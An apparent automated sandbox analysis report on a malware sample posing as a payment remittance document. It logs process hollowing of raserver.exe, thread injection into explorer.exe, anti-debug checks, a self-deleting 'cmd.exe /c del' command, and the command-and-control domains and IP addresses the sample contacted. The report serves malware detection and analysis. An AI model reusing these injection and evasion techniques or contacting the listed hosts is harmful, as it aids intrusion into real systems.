Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04812073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04821074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048149A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048149A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048149A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048149A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04774120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04774120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04774120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04774120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04774120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047E41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047861A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047861A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D69A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0479927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047E4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04759240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04794A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04794A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04755210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04755210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04755210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04755210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04773A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04768A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047552A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047552A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047552A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047552A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047552A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481EA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0480B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0480B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04828A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0480D380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04783B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04783B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04825BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047803E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047803E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047803E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047803E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047803E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047803E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04784BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04784BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04784BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04828B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782397 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04761B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04761B8F mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\raserver.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Code function: 5_2_00409B40 LdrLoadDll,

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.yummyblockparty.com
Source: C:\Windows\explorer.exe	Domain query: www.fitotec.net
Source: C:\Windows\explorer.exe	Domain query: www.johnharrisagent.com
Source: C:\Windows\explorer.exe	Domain query: www.btt5204.com
Source: C:\Windows\explorer.exe	Network Connect: 52.71.133.130 80
Source: C:\Windows\explorer.exe	Domain query: www.hide.osaka
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.211 80
Source: C:\Windows\explorer.exe	Network Connect: 103.15.104.66 80
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.215 80
Source: C:\Windows\explorer.exe	Domain query: www.itsready.support

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Section unmapped: C:\Windows\SysWOW64\raserver.exe base address: C30000

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Section loaded: unknown target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Section loaded: unknown target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread register set: target process: 3388
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread register set: target process: 3388
Source: C:\Windows\SysWOW64\raserver.exe	Thread register set: target process: 3388

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process created: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'

Source: explorer.exe, 00000006.00000000.260179688.0000000001398000.00000004.00000020.sdmp	Binary or memory string: ProgmanamF
Source: explorer.exe, 00000006.00000000.229448758.0000000001980000.00000002.00020000.sdmp, raserver.exe, 00000013.00000002.476913226.0000000002FE0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.250393211.0000000006860000.00000004.00000001.sdmp, raserver.exe, 00000013.00000002.476913226.0000000002FE0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.229448758.0000000001980000.00000002.00020000.sdmp, raserver.exe, 00000013.00000002.476913226.0000000002FE0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.229448758.0000000001980000.00000002.00020000.sdmp, raserver.exe, 00000013.00000002.476913226.0000000002FE0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
